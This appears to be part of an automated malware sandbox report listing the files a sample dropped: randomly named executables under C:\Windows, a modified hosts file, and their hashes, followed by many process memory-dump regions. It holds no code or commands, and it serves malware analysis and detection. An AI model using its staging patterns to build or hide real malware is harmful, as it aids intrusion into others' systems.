Filesize
381KB

MD5
fd5efccde59e94eec8bb2735aa577b2b

SHA1
51aaa248dc819d37f8b8e3213c5bdafc321a8412

SHA256
441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45

SHA512
74a7eebdee9d25a306be83cb3568622ea9c1b557a8fbb86945331209bdc884e48113c3d01aac5347d88b8d2f786f8929aa6bb55d80516f3b4f9cc0f18362e8e3

Download Submit
C:\Windows\kgkufnrnc\uhbggiaeb\nnbuyeerm.exe

Filesize
332KB

MD5
ea774c81fe7b5d9708caa278cf3f3c68

SHA1
fc09f3b838289271a0e744412f5f6f3d9cf26cee

SHA256
4883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38

SHA512
7cfde964c1c62759e3ba53c47495839e307ba0419d740fcacbeda1956dcee3b51b3cf39e6891120c72d0aae48e3ea1019c385eb5006061ced89f33b15faa8acb

Download Submit
C:\Windows\kgkufnrnc\uhbggiaeb\wpcap.exe

Filesize
424KB

MD5
e9c001647c67e12666f27f9984778ad6

SHA1
51961af0a52a2cc3ff2c4149f8d7011490051977

SHA256
7ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d

SHA512
56f0cff114def2aeda0c2c8bd9b3abcacef906187a253ea4d943b3f1e1ca52c452d82851348883288467a8c9a09d014910c062325964bcfe9618d7b58056e1fe

Download Submit
C:\Windows\system32\drivers\etc\hosts

Filesize
1KB

MD5
c838e174298c403c2bbdf3cb4bdbb597

SHA1
70eeb7dfad9488f14351415800e67454e2b4b95b

SHA256
1891edcf077aa8ed62393138f16e445ef4290a866bccdbb7e2d7529034a66e53

SHA512
c53a52b74d19274c20dece44f46c5d9f37cd0ec28cf39cac8b26ba59712f789c14d1b10b7f5b0efdf7ce3211dda0107792cc42503faa82cb13ffae979d49d376

Download Submit
C:\Windows\znrgncrv\emzriir.exe

Filesize
8.5MB

MD5
69bd107f071b29759e1f2cfd786c5503

SHA1
ae38270bdb20cc3fc6dccb3e4e068c579c9cf20c

SHA256
0daeacbeede1d05d6769d721b5c8e5e58e07730910232f62d77347b38fbae8f6

SHA512
a91f929737c0fde62e795fe0ed695a675641f7adf689992902f36deb803b3dc3484cf368c05c78664ea195389e4ed4c6338346aa80a6a298426d18f30ddb4b34

Download Submit
memory/1148-135-0x00007FF799210000-0x00007FF7992FE000-memory.dmp

Filesize
952KB

Download
memory/1148-138-0x00007FF799210000-0x00007FF7992FE000-memory.dmp

Filesize
952KB

Download
memory/1440-179-0x00007FF7068E0000-0x00007FF70693B000-memory.dmp

Filesize
364KB

Download
memory/1572-198-0x00007FF7068E0000-0x00007FF70693B000-memory.dmp

Filesize
364KB

Download
memory/1804-162-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/1804-148-0x0000000010000000-0x0000000010008000-memory.dmp

Filesize
32KB

Download
memory/1920-184-0x00007FF7068E0000-0x00007FF70693B000-memory.dmp

Filesize
364KB

Download
memory/1940-235-0x00007FF6286F0000-0x00007FF628810000-memory.dmp

Filesize
1.1MB

Download
memory/1940-181-0x00007FF6286F0000-0x00007FF628810000-memory.dmp

Filesize
1.1MB

Download
memory/1940-264-0x00007FF6286F0000-0x00007FF628810000-memory.dmp

Filesize
1.1MB

Download
memory/1940-262-0x00007FF6286F0000-0x00007FF628810000-memory.dmp

Filesize
1.1MB

Download
memory/1940-194-0x00007FF6286F0000-0x00007FF628810000-memory.dmp

Filesize
1.1MB

Download
memory/1940-213-0x00007FF6286F0000-0x00007FF628810000-memory.dmp

Filesize
1.1MB

Download
memory/1940-168-0x0000020C8AB80000-0x0000020C8AB90000-memory.dmp

Filesize
64KB

Download
memory/1940-201-0x00007FF6286F0000-0x00007FF628810000-memory.dmp

Filesize
1.1MB

Download
memory/1940-227-0x00007FF6286F0000-0x00007FF628810000-memory.dmp

Filesize
1.1MB

Download
memory/1940-165-0x00007FF6286F0000-0x00007FF628810000-memory.dmp

Filesize
1.1MB

Download
memory/1940-261-0x00007FF6286F0000-0x00007FF628810000-memory.dmp

Filesize
1.1MB

Download
memory/1940-249-0x00007FF6286F0000-0x00007FF628810000-memory.dmp

Filesize
1.1MB

Download
memory/1992-229-0x00007FF7068E0000-0x00007FF70693B000-memory.dmp

Filesize
364KB

Download
memory/2436-171-0x00007FF7068E0000-0x00007FF70693B000-memory.dmp

Filesize
364KB

Download
memory/2572-239-0x00007FF7068E0000-0x00007FF70693B000-memory.dmp

Filesize
364KB

Download
memory/3696-203-0x00007FF7068E0000-0x00007FF70693B000-memory.dmp

Filesize
364KB

Download
memory/3768-78-0x0000000000B60000-0x0000000000BAC000-memory.dmp

Filesize
304KB

Download
memory/3812-250-0x0000000000B50000-0x0000000000B62000-memory.dmp

Filesize
72KB

Download
memory/3916-8-0x0000000000400000-0x0000000000A9B000-memory.dmp

Filesize
6.6MB

Download
memory/3968-232-0x00007FF7068E0000-0x00007FF70693B000-memory.dmp

Filesize
364KB

Download
memory/4048-224-0x00007FF7068E0000-0x00007FF70693B000-memory.dmp

Filesize
364KB

Download
memory/4136-237-0x00007FF7068E0000-0x00007FF70693B000-memory.dmp

Filesize
364KB

Download
memory/4148-188-0x00007FF7068E0000-0x00007FF70693B000-memory.dmp

Filesize
364KB

Download
memory/4284-0-0x0000000000400000-0x0000000000A9B000-memory.dmp

Filesize
6.6MB

Download
memory/4284-4-0x0000000000400000-0x0000000000A9B000-memory.dmp

Filesize
6.6MB

Download
memory/4308-220-0x00007FF7068E0000-0x00007FF70693B000-memory.dmp

Filesize
364KB

Download
memory/4424-146-0x00007FF7068E0000-0x00007FF70693B000-memory.dmp

Filesize
364KB

Download
memory/4424-160-0x00007FF7068E0000-0x00007FF70693B000-memory.dmp

Filesize
364KB

Download
memory/4452-211-0x00007FF7068E0000-0x00007FF70693B000-memory.dmp

Filesize
364KB

Download
memory/4668-234-0x00007FF7068E0000-0x00007FF70693B000-memory.dmp

Filesize
364KB

Download
memory/4736-192-0x00007FF7068E0000-0x00007FF70693B000-memory.dmp

Filesize
364KB

Download
memory/4956-207-0x00007FF7068E0000-0x00007FF70693B000-memory.dmp

Filesize
364KB

Download
memory/5108-175-0x00007FF7068E0000-0x00007FF70693B000-memory.dmp

Filesize
364KB

Download